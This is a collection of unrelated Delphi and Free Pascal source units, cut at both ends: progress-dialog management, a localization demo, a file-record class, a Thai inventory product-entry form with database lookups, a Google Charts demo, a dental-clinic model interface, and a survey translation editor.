CanClosedByUser then if Active then if Msg.message = WM_SYSKEYDOWN then Msg.message := 0; end; procedure TProgressActionForm.SetCanClosedByUser(const Value: Boolean); begin FCanClosedByUser := Value; end; { TManagerProgresses } procedure TManagerProgresses.AddProgress(Progress: TForm); begin if FForms.IndexOf(Progress) < 0 then FForms.Add(Progress) end; constructor TManagerProgresses.Create; begin FForms := TList.Create; end; destructor TManagerProgresses.Destroy; begin F(FForms); inherited; end; function TManagerProgresses.GetItem(Index: Integer): TProgressActionForm; begin Result := FForms[Index]; end; function TManagerProgresses.IsProgress(Progress: TProgressActionForm): Boolean; begin Result := FForms.IndexOf(Progress) > -1; end; function TManagerProgresses.NewProgress: TProgressActionForm; begin Application.CreateForm(TProgressActionForm,Result); end; function TManagerProgresses.ProgressCount: Integer; begin Result := FForms.Count; end; procedure TManagerProgresses.RemoveProgress(Progress: TForm); begin FForms.Remove(Progress) end; procedure TProgressActionForm.FormDestroy(Sender: TObject); begin ManagerProgresses.RemoveProgress(Self); end; procedure TProgressActionForm.FormClose(Sender: TObject; var Action: TCloseAction); begin Closed := True; end; procedure TProgressActionForm.FormCloseQuery(Sender: TObject; var CanClose: Boolean); begin if CanClosedByUser then begin Closed := ID_YES = MessageBoxDB(Handle, L('Do you really want to abort the operation?'), L('Question'), TD_BUTTON_YESNO, TD_ICON_QUESTION); CanClose := WindowCanClose; end; end; constructor TProgressActionForm.Create(AOwner: TComponent; Background : boolean); begin inherited Create(AOwner); FBackground := Background; if Background then Position := PoDefault else Position := PoScreenCenter; end; procedure TProgressActionForm.FormShow(Sender: TObject); begin if FBackground then begin Top := Screen.WorkAreaHeight - Height; Left := Screen.WorkAreaWidth - Width; AlphaBlend := True; AlphaBlendValue := 220; end; end; function TProgressActionForm.GetFormID: string; begin Result := 'ActionProgress'; end; procedure TProgressActionForm.CreateParams(var Params: TCreateParams); begin inherited CreateParams(Params); if IsWindowsVista then Params.ExStyle := Params.ExStyle and not WS_EX_TOOLWINDOW or WS_EX_APPWINDOW; end; procedure TProgressActionForm.FormPaint(Sender: TObject); begin if not Active and not StyleServices.Enabled then begin OperationCounter.DoPaintOnXY(Canvas, OperationCounter.Left, OperationCounter.Top); OperationProgress.DoPaintOnXY(Canvas, OperationProgress.Left, OperationProgress.Top); end; end; initialization ManagerProgresses := TManagerProgresses.Create; finalization F(ManagerProgresses); end.
unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls, NtBase; type TForm1 = class(TForm) Label1: TLabel; LanguageGroup: TRadioGroup; Label2: TLabel; procedure FormCreate(Sender: TObject); procedure LanguageGroupClick(Sender: TObject); private FLanguages: TNtLanguages; FUpdating: Boolean; procedure UpdateLanguages; end; var Form1: TForm1; implementation {$R *.dfm} uses NtLocalization, NtTranslator; procedure TForm1.UpdateLanguages; resourcestring SStr = 'これはサンプルです。'; var i: Integer; begin Label2.Caption := SStr; FUpdating := True; for i := 0 to FLanguages.Count - 1 do begin if FLanguages[i].Code = TNtBase.GetActiveLocale then begin LanguageGroup.ItemIndex := i; Break; end; end; if LanguageGroup.ItemIndex = -1 then LanguageGroup.ItemIndex := 0; FUpdating := False; end; procedure TForm1.FormCreate(Sender: TObject); var i: Integer; begin // Get available languages FLanguages := TNtLanguages.Create; FLanguages.AddDefault; TNtBase.GetAvailable(FLanguages); // Initialize components LanguageGroup.Columns := FLanguages.Count; for i := 0 to FLanguages.Count - 1 do LanguageGroup.Items.AddObject(FLanguages[i].Names[lnNative], TObject(i)); UpdateLanguages; end; procedure TForm1.LanguageGroupClick(Sender: TObject); begin if FUpdating then Exit; // User clicked a language button. Turn that language on. TNtTranslator.SetNew(FLanguages[LanguageGroup.ItemIndex].Code, [roSaveLocale]); UpdateLanguages; end; initialization DefaultLocale := 'ja'; end.
unit PreFile; {$mode objfpc}{$H+} interface uses Classes, SysUtils; type TPreFile = class private name: string; size: int64; modified: tdatetime; attributes: String; formatedSize: String; formatedModified: String; originalPath: string; public directory: boolean; constructor Create; destructor Destroy; override; function getName(): String; procedure setName(sname: String); function getSize(): int64; procedure setSize(nsize: int64); function getModified(): tdatetime; procedure setModified(dmodified: tdatetime); function getAttributes(): String; procedure setAttributes(sattributes: String); function getFormatedSize(): String; procedure setFormatedSize(sformatedSize: String); function getFormatedModified(): String; procedure setFormatedModified(sformatedModified: String); function getOriginalPath(): String; procedure setOriginalPath(soriginalPath: String); procedure limparDados; function ToString: ansistring; override; function ToInsert: string; function ToCVS: string; end; implementation constructor TPreFile.Create; begin inherited Create; end; destructor TPreFile.Destroy; begin inherited Destroy; end; function TPreFile.getName(): String; begin result:=self.name; end; procedure TPreFile.setName(sname: String); begin self.name := sname; end; function TPreFile.getSize(): int64; begin result:=self.size; end; procedure TPreFile.setSize(nsize: int64); begin self.size:=nsize; end; function TPreFile.getModified(): tdatetime; begin result:=self.modified; end; procedure TPreFile.setModified(dmodified: tdatetime); begin self.modified:=dmodified; end; function TPreFile.getAttributes(): String; begin result:=self.attributes; end; procedure TPreFile.setAttributes(sattributes: String); begin self.attributes:=sattributes; end; function TPreFile.getFormatedSize(): String; begin result:=self.formatedSize; end; procedure TPreFile.setFormatedSize(sformatedSize: String); begin self.formatedSize:=sformatedSize; end; function TPreFile.getFormatedModified(): String; begin result:=self.formatedModified; end; procedure TPreFile.setFormatedModified(sformatedModified: String); begin self.formatedModified:=sformatedModified; end; function TPreFile.getOriginalPath(): String; begin result:=self.originalPath; end; procedure TPreFile.setOriginalPath(soriginalPath: String); begin self.originalPath:=soriginalPath; end; procedure TPreFile.limparDados; begin self.name := ''; self.size := 0; self.modified := Now; self.attributes := ''; self.formatedSize := ''; self.formatedModified := ''; self.originalPath := ''; end; function TPreFile.ToString: ansistring; begin inherited ToString; result:='PreFile [name=' + name + ', size=' + IntToStr(size) + ', modified=' + DateToStr(modified) + ', attributes=' + attributes + ', formatSize=' + formatedSize + ', formatModified=' + formatedModified + ']'; end; function TPreFile.ToInsert: string; begin result:=QuotedStr(name) + ',' + IntToStr(size) + ',' + QuotedStr(formatedModified) + ',' + QuotedStr(attributes); end; function TPreFile.ToCVS: string; begin result:=name + ';' + IntToStr(size) + ';' + formatedModified + ';' + attributes; end; end.
unit AddProdItemFrm; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, DB, DBClient, StdCtrls, DBCtrls, Mask, RzEdit, RzDBEdit, RzButton, RzLabel, ExtCtrls, RzPanel, Buttons, cxGraphics, cxControls, cxLookAndFeels, cxLookAndFeelPainters, cxContainer, cxEdit, cxTextEdit, cxCurrencyEdit; type TfrmAddProdItem = class(TForm) pnAllclients: TRzPanel; RzLabel1: TRzLabel; RzLabel3: TRzLabel; RzLabel2: TRzLabel; btnOK: TRzBitBtn; btnCancel: TRzBitBtn; RzLabel4: TRzLabel; RzLabel5: TRzLabel; RzLabel6: TRzLabel; btnSearchProd: TSpeedButton; RzLabel7: TRzLabel; edProdCode: TRzEdit; edProdName: TRzEdit; edProdCDE: TRzEdit; edUnitCode: TRzEdit; btnSearchUnit: TSpeedButton; edUnitName: TRzEdit; edPackingCode: TRzEdit; btnSeachPacking: TSpeedButton; edPackingName: TRzEdit; edQty: TRzNumericEdit; RzLabel8: TRzLabel; edUnitPrice: TcxCurrencyEdit; RzLabel9: TRzLabel; RzNumericEdit1: TRzNumericEdit; procedure btnCancelClick(Sender: TObject); procedure btnOKClick(Sender: TObject); procedure FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); procedure FormKeyPress(Sender: TObject; var Key: Char); procedure FormCreate(Sender: TObject); procedure btnSearchProdClick(Sender: TObject); procedure btnSearchUnitClick(Sender: TObject); procedure btnSeachPackingClick(Sender: TObject); procedure FormShow(Sender: TObject); procedure edProdCodeKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); procedure edUnitCodeKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); procedure edPackingCodeKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); private FProdCode: integer; FUnitPrice: currency; FUnitCode: integer; FPackingCode: integer; FWarehouseCode: integer; FQty: integer; FIsOK: boolean; FProdCDE: string; FIssueReqCode: integer; FIsNew: boolean; FPackingName: string; FProdName: string; FUnitname: string; procedure SetProdCode(const Value: integer); procedure SetPackingCode(const Value: integer); procedure SetUnitCode(const Value: integer); procedure SetUnitPrice(const Value: currency); procedure SetWarehouseCode(const Value: integer); procedure SetQty(const Value: integer); procedure SetIsOK(const Value: boolean); procedure getProductInfo(ProdCode:integer); procedure getUnitInfo(UniCode:integer); procedure getPackingInfo(PackingCode:integer); procedure SetProdCDE(const Value: string); procedure SetIssueReqCode(const Value: integer); procedure SetIsNew(const Value: boolean); procedure SetPackingName(const Value: string); procedure SetProdName(const Value: string); procedure SetUnitname(const Value: string); { Private declarations } public { Public declarations } property IsNew : boolean read FIsNew write SetIsNew; property IssueReqCode : integer read FIssueReqCode write SetIssueReqCode; property ProdCode : integer read FProdCode write SetProdCode; property ProdCDE : string read FProdCDE write SetProdCDE; property WarehouseCode : integer read FWarehouseCode write SetWarehouseCode; property UnitCode : integer read FUnitCode write SetUnitCode; property PackingCode : integer read FPackingCode write SetPackingCode; property UnitPrice : currency read FUnitPrice write SetUnitPrice; property Qty : integer read FQty write SetQty; property IsOK : boolean read FIsOK write SetIsOK; property ProdName : string read FProdName write SetProdName; property Unitname : string read FUnitname write SetUnitname; property PackingName : string read FPackingName write SetPackingName; end; var frmAddProdItem: TfrmAddProdItem; implementation uses CommonLIB, STDLIB, CommonUtils, STK_LIB; {$R *.dfm} procedure TfrmAddProdItem.btnCancelClick(Sender: TObject); begin FIsOK := false; Close; end; procedure TfrmAddProdItem.btnOKClick(Sender: TObject); begin FUnitPrice := edUnitPrice.Value; FQty := edQty.IntValue; FIsOK := true; Close; end; procedure TfrmAddProdItem.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin if Key=VK_ESCAPE then btnCancelClick(nil); if Key=VK_F11 then btnOKClick(nil); if Key=VK_F6 then btnSearchProdClick(nil); end; procedure TfrmAddProdItem.FormKeyPress(Sender: TObject; var Key: Char); begin If (Key = #13) then Begin if not (ActiveControl is TRzButton) then begin SelectNext(ActiveControl as TWinControl, True, True); end; End; end; procedure TfrmAddProdItem.FormCreate(Sender: TObject); begin SetChildTaborders(pnAllClients); end; procedure TfrmAddProdItem.btnSearchProdClick(Sender: TObject); var Parameter,_Parameter:TDLLParameter; _SearchType,_Cols,_ColsWidth:TList; _SQL:string; begin _SearchType:=TList.Create; _SearchType.Add(TStringValue.Create('PRDCOD','รหัส')); _SearchType.Add(TStringValue.Create('PRDCDE','รหัสทั่วไป')); _SearchType.Add(TStringValue.Create('PRDNAE','ชื่ออังกฤษ')); _SearchType.Add(TStringValue.Create('PRDNAT','ชื่อไทย')); _SearchType.Add(TStringValue.Create('PRDRMK','Remark')); _Cols:=TList.Create; _Cols.Add(TStringValue.Create('PRDCOD','รหัส')); _Cols.Add(TStringValue.Create('PRDCDE','รหัสทั่วไป')); _Cols.Add(TStringValue.Create('PRDNAT','ชื่ออังกฤษ')); _Cols.Add(TStringValue.Create('PRDNAT','ชื่อไทย')); _Cols.Add(TStringValue.Create('PRDRMK','Remark')); _ColsWidth:=TList.Create; _ColsWidth.Add(TStringValue.Create('1','80')); _ColsWidth.Add(TStringValue.Create('2','90')); _ColsWidth.Add(TStringValue.Create('3','90')); _ColsWidth.Add(TStringValue.Create('4','100')); _ColsWidth.Add(TStringValue.Create('5','120')); _ColsWidth.Add(TStringValue.Create('6','120')); _ColsWidth.Add(TStringValue.Create('7','150')); Parameter.SearchTitle:='รายชื่อสินค้า'; executilsdxInitialize; _SQL :=//' select PRDCOD,PRDCDE,PRDNAE,PRDNAT,PRDRMK from ICMTTPRD where PRDACT=''A'' '; ' select prd.PRDCOD,prd.PRDCDE,prd.PRDNAE,prd.PRDNAT,prd.PRDRMK '+ ' from ICMTTPRD prd , ICMTTSTK stk '+ ' where '+ ' stk.STKPRD=prd.PRDCOD '+ ' and prd.PRDACT=''A'' and stk.STKQTY>0 and stk.STKWH0='+IntToStr(WarehouseCode); SelSearch(Application,swModal,Parameter,_Parameter,_SearchType,_Cols,_ColsWidth,'PRDCOD',_SQL); if Trim(_Parameter.SelectCode)<>'' then begin FProdCode := StrToInt(_Parameter.SelectCode); self.Caption := IntToStr(FProdCode); getProductInfo(FProdCode); end; end; procedure TfrmAddProdItem.SetProdCode(const Value: integer); begin FProdCode := Value; getProductInfo(FProdCode); end; procedure TfrmAddProdItem.SetPackingCode(const Value: integer); begin FPackingCode := Value; getPackingInfo(FPackingCode); end; procedure TfrmAddProdItem.SetUnitCode(const Value: integer); begin FUnitCode := Value; getUnitInfo(FUnitCode); end; procedure TfrmAddProdItem.SetUnitPrice(const Value: currency); begin FUnitPrice := Value; edUnitPrice.EditValue := FUnitPrice; edUnitPrice.Value := FUnitPrice; end; procedure TfrmAddProdItem.SetWarehouseCode(const Value: integer); begin FWarehouseCode := Value; end; procedure TfrmAddProdItem.SetQty(const Value: integer); begin FQty := Value; edQty.Value := FQty; end; procedure TfrmAddProdItem.SetIsOK(const Value: boolean); begin FIsOK := Value; end; procedure TfrmAddProdItem.getProductInfo(ProdCode: integer); var cdsTemp : TClientDataSet; begin cdsTemp := TClientDataSet.Create(nil); cdsTemp.Data := GetDataSet('select * from ICMTTPRD where PRDCOD='+IntToStr(ProdCode)); if cdsTemp.Active then if cdsTemp.RecordCount>0 then begin FProdCode := cdsTemp.fieldbyname('PRDCOD').AsInteger; FProdCDE := cdsTemp.fieldbyname('PRDCDE').AsString; FProdName := Trim(cdsTemp.fieldbyname('PRDNAT').AsString); edProdCode.text := cdsTemp.fieldbyname('PRDCOD').AsString; edProdName.Text := trim(cdsTemp.fieldbyname('PRDNAT').AsString) + '('+Trim(cdsTemp.fieldbyname('PRDNAE').AsString)+')'; edProdCDE.Text := trim(cdsTemp.fieldbyname('PRDCDE').AsString); getUnitInfo(cdsTemp.fieldbyname('PRDUNI').AsInteger); end; end; procedure TfrmAddProdItem.SetProdCDE(const Value: string); begin FProdCDE := Value; end; procedure TfrmAddProdItem.btnSearchUnitClick(Sender: TObject); var Parameter,_Parameter:TDLLParameter; _SearchType,_Cols,_ColsWidth:TList; _SQL:string; begin _SearchType:=TList.Create; _SearchType.Add(TStringValue.Create('UNICOD','รหัส')); _SearchType.Add(TStringValue.Create('UNINAM','ชื่อไทย')); _Cols:=TList.Create; _Cols.Add(TStringValue.Create('UNICOD','รหัส')); _Cols.Add(TStringValue.Create('UNINAM','ชื่อไทย')); _ColsWidth:=TList.Create; _ColsWidth.Add(TStringValue.Create('1','80')); _ColsWidth.Add(TStringValue.Create('2','150')); Parameter.SearchTitle:='รายชื่อหน่วยสินค้า'; executilsdxInitialize; _SQL :=' select UNICOD,UNINAM from ICMTTUNI where UNIACT=''A'' order by UNICOD '; SelSearch(Application,swModal,Parameter,_Parameter,_SearchType,_Cols,_ColsWidth,'UNICOD',_SQL); if Trim(_Parameter.SelectCode)<>'' then begin FUnitCode := StrToInt(_Parameter.SelectCode); getUnitInfo(FUnitCode); end; end; procedure TfrmAddProdItem.getUnitInfo(UniCode: integer); var cdsTemp : TClientDataSet; begin cdsTemp := TClientDataSet.Create(nil); cdsTemp.Data := GetDataSet('select * from ICMTTUNI where UNICOD='+IntToStr(UniCode)); if cdsTemp.Active then if cdsTemp.RecordCount>0 then begin FUnitCode := cdsTemp.fieldbyname('UNICOD').AsInteger; edUnitName.Text := cdsTemp.fieldbyname('UNINAM').AsString; FUnitname := Trim(cdsTemp.fieldbyname('UNINAM').AsString); edUnitCode.Text := cdsTemp.fieldbyname('UNICOD').AsString; end; end; procedure TfrmAddProdItem.btnSeachPackingClick(Sender: TObject); var Parameter,_Parameter:TDLLParameter; _SearchType,_Cols,_ColsWidth:TList; _SQL:string; begin _SearchType:=TList.Create; _SearchType.Add(TStringValue.Create('PACCOD','รหัส')); _SearchType.Add(TStringValue.Create('PACNAM','ชื่อขนาดบรรจุ')); _SearchType.Add(TStringValue.Create('PACRAT','ขนาดบรรจุ')); _Cols:=TList.Create; _Cols.Add(TStringValue.Create('PACCOD','รหัส')); _Cols.Add(TStringValue.Create('PACNAM','ชื่อขนาดบรรจุ')); _Cols.Add(TStringValue.Create('PACRAT','ขนาดบรรจุ')); _ColsWidth:=TList.Create; _ColsWidth.Add(TStringValue.Create('1','80')); _ColsWidth.Add(TStringValue.Create('2','150')); _ColsWidth.Add(TStringValue.Create('3','50')); Parameter.SearchTitle:='รายชื่อหน่วยสินค้า'; executilsdxInitialize; _SQL :=' select PACCOD,PACNAM,PACRAT from ICMTTPAC where PACACT=''A'' and PACUNI='+IntToStr(FUnitCode)+' order by PACCOD '; SelSearch(Application,swModal,Parameter,_Parameter,_SearchType,_Cols,_ColsWidth,'PACCOD',_SQL); if Trim(_Parameter.SelectCode)<>'' then begin FPackingCode := StrToInt(_Parameter.SelectCode); getPackingInfo(FPackingCode); end; end; procedure TfrmAddProdItem.getPackingInfo(PackingCode: integer); var cdsTemp : TClientDataSet; begin cdsTemp := TClientDataSet.Create(nil); cdsTemp.Data := GetDataSet('select * from ICMTTPAC where PACCOD='+IntToStr(PackingCode)); if cdsTemp.Active then if cdsTemp.RecordCount>0 then begin FPackingCode := cdsTemp.fieldbyname('PACCOD').AsInteger; edPackingCode.Text := cdsTemp.fieldbyname('PACCOD').AsString; edPackingName.Text := cdsTemp.fieldbyname('PACNAM').AsString; FPackingName := Trim(cdsTemp.fieldbyname('PACNAM').AsString); end; end; procedure TfrmAddProdItem.SetIssueReqCode(const Value: integer); begin FIssueReqCode := Value; end; procedure TfrmAddProdItem.SetIsNew(const Value: boolean); begin FIsNew := Value; btnSearchProd.Enabled := FIsNew; btnSearchUnit.Enabled := FIsNew; btnSeachPacking.Enabled := FIsNew; end; procedure TfrmAddProdItem.FormShow(Sender: TObject); begin if not FIsNew then begin edQty.SetFocus; edQty.SelectAll; end; end; procedure TfrmAddProdItem.SetPackingName(const Value: string); begin FPackingName := Value; end; procedure TfrmAddProdItem.SetProdName(const Value: string); begin FProdName := Value; end; procedure TfrmAddProdItem.SetUnitname(const Value: string); begin FUnitname := Value; end; procedure TfrmAddProdItem.edProdCodeKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin if Key = VK_RETURN then begin if trim(edProdCode.Text)<>'' then begin if getExistMTTCode('PRD',trim(edProdCode.Text)) then begin FProdCode := getMTTCOD('PRD',trim(edProdCode.Text)); getProductInfo(FProdCode); end else Application.MessageBox(pchar('ไม่พบสินค้าต้องการค้นหา !!!'),pchar('Warning'), MB_OK or MB_ICONWARNING); end else btnSearchProdClick(sender); end; end; procedure TfrmAddProdItem.edUnitCodeKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin if Key = VK_RETURN then begin if trim(edUnitCode.Text)<>'' then begin if getExistMTTCode('UNI',trim(edUnitCode.Text)) then begin FUnitCode := getMTTCOD('UNI',trim(edUnitCode.Text)); getUnitInfo(FUnitCode); end else Application.MessageBox(pchar('ไม่พบหน่วยสินค้าต้องการค้นหา !!!'),pchar('Warning'), MB_OK or MB_ICONWARNING); end else btnSearchUnitClick(sender); end; end; procedure TfrmAddProdItem.edPackingCodeKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin if Key = VK_RETURN then begin if trim(edPackingCode.Text)<>'' then begin if getExistMTTCode('PAC',trim(edPackingCode.Text)) then begin FPackingCode := getMTTCOD('PAC',trim(edPackingCode.Text)); getPackingInfo(FPackingCode); end else Application.MessageBox(pchar('ไม่พบขนาดบรรจุที่ต้องการค้นหา !!!'),pchar('Warning'), MB_OK or MB_ICONWARNING); end else btnSeachPackingClick(sender); end; end; end.
unit Demo.SteppedAreaChart.Sample; interface uses System.Classes, Demo.BaseFrame, cfs.GCharts; type TDemo_SteppedAreaChart_Sample = class(TDemoBaseFrame) public procedure GenerateChart; override; end; implementation procedure TDemo_SteppedAreaChart_Sample.GenerateChart; var Chart: IcfsGChartProducer; //Defined as TInterfacedObject. No need try..finally begin Chart := TcfsGChartProducer.Create; Chart.ClassChartType := TcfsGChartProducer.CLASS_STEPPED_AREA_CHART; // Data Chart.Data.DefineColumns([ TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, 'Director (Year)'), TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Rotten Tomatoes'), TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'IMDB') ]); Chart.Data.AddRow(['Alfred Hitchcock (1935)', 8.4, 7.9]); Chart.Data.AddRow(['Ralph Thomas (1959)', 6.9, 6.5]); Chart.Data.AddRow(['Don Sharp (1978)', 6.5, 6.4]); Chart.Data.AddRow(['James Hawes (2008)', 4.4, 6.2]); // Options Chart.Options.Title('The decline of ''The 39 Steps'''); Chart.Options.VAxis('title', 'Accumulated Rating'); Chart.Options.IsStacked(True); // Generate GChartsFrame.DocumentInit; GChartsFrame.DocumentSetBody('<div id="Chart" style="width:100%;height:100%;"></div>'); GChartsFrame.DocumentGenerate('Chart', Chart); GChartsFrame.DocumentPost; end; initialization RegisterClass(TDemo_SteppedAreaChart_Sample); end.
unit Odontologia.Modelo.Estado.Cita.Interfaces; interface uses Odontologia.Modelo.Entidades.Estado.Cita, SimpleInterface, Data.DB; type iModelEstadoCita = interface ['{D8C58900-CE6E-449F-9D61-C63F85F79F6B}'] function Entidad : TFESTADO_CITA; function DAO : iSimpleDAO<TFESTADO_CITA>; function DataSource (aDataSource : TDataSource) : iModelEstadoCita; end; implementation end.
unit Translation; {******************************************************************************* Description: a modal dialog used for creating, modifying, testing and deleting non-english headings, questions and scales Modifications: -------------------------------------------------------------------------------- Date UserID Description -------------------------------------------------------------------------------- 04-07-2006 GN01 If no codes constants are defined for the selected language, display a warning to the user. 04-07-2006 GN02 Fixed the issue with the RichEdit control getting disabled for Header translation. For example, If Spanish Header Translation had a Code in it and you switch to any language like HCAHPS Spanish would set the RichEdit control to readOnly. *******************************************************************************} interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ComCtrls, Mask, DBCtrls, Grids, DBGrids, Buttons, ExtCtrls, DBRichEdit, CDK_Comp, DB, DBTables, Wwtable; type TfrmTranslate = class(TForm) staTranslate: TStatusBar; pclPage: TPageControl; Panel1: TPanel; btnClose: TSpeedButton; shtQuestion: TTabSheet; shtScale: TTabSheet; Label31: TLabel; dgrScale: TDBGrid; detScale: TDBEdit; Label23: TLabel; Label25: TLabel; Label26: TLabel; lblQuestion: TLabel; detQuestName: TDBEdit; detQuestShort: TDBEdit; DBCheckBox6: TDBCheckBox; DBCheckBox12: TDBCheckBox; shtHeading: TTabSheet; DBCheckBox1: TDBCheckBox; lblScale: TLabel; Label2: TLabel; DBCheckBox2: TDBCheckBox; DBCheckBox3: TDBCheckBox; detHeading: TDBEdit; DBCheckBox4: TDBCheckBox; Label3: TLabel; Label4: TLabel; lblHeading: TLabel; btnFind: TSpeedButton; btnSpell: TSpeedButton; btnCode: TSpeedButton; btnCancel: TSpeedButton; btnAdd: TSpeedButton; btnDelete: TSpeedButton; shtLanguage: TTabSheet; TabSheet1: TTabSheet; Label6: TLabel; detLanguage: TDBEdit; DBEdit2: TDBEdit; Label7: TLabel; DBGrid1: TDBGrid; Bevel1: TBevel; Label8: TLabel; Bevel2: TBevel; Label9: TLabel; Label10: TLabel; btnReview: TSpeedButton; Label5: TLabel; Label11: TLabel; Label12: TLabel; Panel2: TPanel; DBText1: TDBText; btnToggle: TclCodeToggle; cmbLanguage: TComboBox; btnLink: TSpeedButton; rtfHead: TclDBRichCode; rtfTrHead: TclDBRichCodeBtn; rtfText: TclDBRichCode; rtfTrText: TclDBRichCodeBtn; rtfScale: TclDBRichCode; rtfTrScale: TclDBRichCodeBtn; rtfTsHead: TclDBRichCode; rtfTsText: TclDBRichCode; rtfTsScale: TclDBRichCode; btnFirst: TSpeedButton; btnNext: TSpeedButton; btnUnTrans: TSpeedButton; procedure CloseClick(Sender: TObject); procedure FormCreate(Sender: TObject); procedure ReviewClick(Sender: TObject); procedure SpellClick(Sender: TObject); procedure PageChange(Sender: TObject); procedure AddClick(Sender: TObject); procedure EditChange(Sender: TObject); procedure PageChanging(Sender: TObject; var AllowChange: Boolean); procedure FindClick(Sender: TObject); procedure LanguageChange(Sender: TObject); procedure LinkClick(Sender: TObject); procedure CodeClick(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure ToTransClick(Sender: TObject); procedure rtfTrHeadKeyPress(Sender: TObject; var Key: Char); procedure rtfTrHeadKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); procedure rtfTrTextKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); procedure rtfTrTextKeyPress(Sender: TObject; var Key: Char); procedure rtfTrScaleKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); procedure rtfTrScaleKeyPress(Sender: TObject; var Key: Char); procedure btnCancelClick(Sender: TObject); procedure btnDeleteClick(Sender: TObject); procedure rtfTrHeadExit(Sender: TObject); procedure rtfTrHeadEnter(Sender: TObject); private procedure TransHint( Sender : TObject ); procedure SaveTranslate; procedure OpenTables; procedure LoadLanguageCombo; procedure EnableButtons; procedure SetLabels; public { Public declarations } end; var frmTranslate: TfrmTranslate; SpanishVowels : boolean; implementation uses Data, Common, Lookup, Support, Code; {$R *.DFM} {$R BUTTONMAPS} { INITIALIZATION } { configure tables to function with dialog } procedure TfrmTranslate.FormCreate(Sender: TObject); begin vLanguage := vTranslate; OpenTables; LoadLanguageCombo; EnableButtons; SetLabels; Application.OnHint := TransHint; pclPage.ActivePage := shtHeading; ActiveControl := detHeading; LinkClick(Sender); end; procedure TfrmTranslate.OpenTables; begin with modLibrary do begin tblTransH.Open; tblTransQ.Open; tblTransS.Open; tblScale.MasterSource := nil; tblHeading.MasterSource := nil; end; end; { load all non-english languages into the language combo box } procedure TfrmTranslate.LoadLanguageCombo; var i : Word; begin with modLibrary.tblLanguage, cmbLanguage do begin Clear; DisableControls; First; Next; for i := 2 to RecordCount do begin Items.Add( modLibrary.tblLanguageLanguage.Value ); Next; end; Locate( 'LangID', vLanguage, [ ] ); ItemIndex := Items.IndexOf( modLibrary.tblLanguageLanguage.Value ); modSupport.dlgSpell.DictionaryName := modLibrary.tblLanguageDictionary.Value; EnableControls; end; end; procedure TfrmTranslate.EnableButtons; begin btnDelete.Enabled := ( modLibrary.tblTransH.RecordCount > 0 ); btnReview.Enabled := ( modLookup.tblHeadText.RecordCount > 0 ); end; procedure TfrmTranslate.SetLabels; var vLangName : string; begin vLangName := cmbLanguage.Text; lblHeading.Caption := vLangName + ' &Heading'; lblQuestion.Caption := vLangName + ' Survey &Text'; lblScale.Caption := vLangName + ' &Scale Value'; end; procedure TfrmTranslate.TransHint( Sender : TObject ); begin staTranslate.simpleText := Application.Hint; end; { BUTTON METHODS } procedure TfrmTranslate.CloseClick(Sender: TObject); begin Close; end; { move to the next translation tagged for review: 1. if not set, set review table to proper table and filter for review and language 2. move to current translation in review table 3. find subsequent translation matching criteria in review table 4. move translation table to match review table } procedure TfrmTranslate.ReviewClick(Sender: TObject); begin try case pclPage.ActivePage.PageIndex of 0 : with modLibrary, modLookup.tblReview do begin if ( TableName <> 'HeadText' ) or ( Pos( '>', Filter ) = 0 ) then begin Close; TableName := 'HeadText'; Filter := 'Review AND ( LangID > 1 )'; Open; GoToCurrent( wtblHeadText ); end; if not FindNext then if not FindFirst then if MessageDlg( 'There are no more Headings in Translation to be Reviewed', mtInformation, [ mbOK ], 0 ) = mrOK then Exit; tblHeading.Locate( 'HeadID', FieldByName( 'HeadID' ).Value, [ ] ); end; 1 : with modLibrary, modLookup.tblReview do begin if ( TableName <> 'QuestionText' ) or ( Pos( '>', Filter ) = 0 ) then begin Close; TableName := 'QuestionText'; Filter := 'Review AND ( LangID > 1 )'; Open; GoToCurrent( wtblQstnText ); end; if not FindNext then if not FindFirst then if MessageDlg( 'There are no more Questions in Translation to be Reviewed', mtInformation, [ mbOK ], 0 ) = mrOK then Exit; wtblQuestion.Locate( 'Core', FieldByName( 'Core' ).Value, [ ] ); end; 2 : with modLibrary, modLookup.tblReview do begin if ( TableName <> 'ScaleText' ) or ( Pos( '>', Filter ) = 0 ) then begin Close; TableName := 'ScaleText'; Filter := 'Review AND ( LangID > 1 )'; Open; GoToCurrent( tblScaleText ); end; if not FindNext then if not FindFirst then if MessageDlg( 'There are no more Scales in Tranlsation to be Reviewed', mtInformation, [ mbOK ], 0 ) = mrOK then Exit; tblScale.Locate( 'Scale', FieldByName( 'Scale' ).Value, [ ] ); tblValues.Locate( 'Item', FieldByName( 'Item' ).Value, [ ] ); end; end; except end; end; procedure TfrmTranslate.SpellClick(Sender: TObject); var vDictionary : string; begin with modSupport.dlgSpell do begin Open; Show; if ( DictionaryName = '' ) and ( pclPage.ActivePage <> shtLanguage ) then MessageDlg( 'No ' + cmbLanguage.Text + ' language dictionary is available ' + 'for a spell check', mtInformation, [ mbOK ], 0 ) else case pclPage.ActivePage.PageIndex of 0 : if SpellCheck( rtfTrHead ) = mrOK then begin modlibrary.tbltransh.edit; modlibrary.tbltransh.fieldbyname('review').value := false; modlibrary.tbltransh.post; end; 1 : if SpellCheck( rtfTrText ) = mrOK then begin modlibrary.tbltransq.edit; modlibrary.tbltransq.fieldbyname('review').value := false; modlibrary.tbltransq.post; end; 2 : if SpellCheck( rtfTrScale ) = mrOK then begin end; 4 : begin vDictionary := DictionaryName; DictionaryName := 'English.dct'; SpellCheck( detLanguage ); DictionaryName := vDictionary; end; end; Close; end; end; { insert a new language record or save changes to other pages } procedure 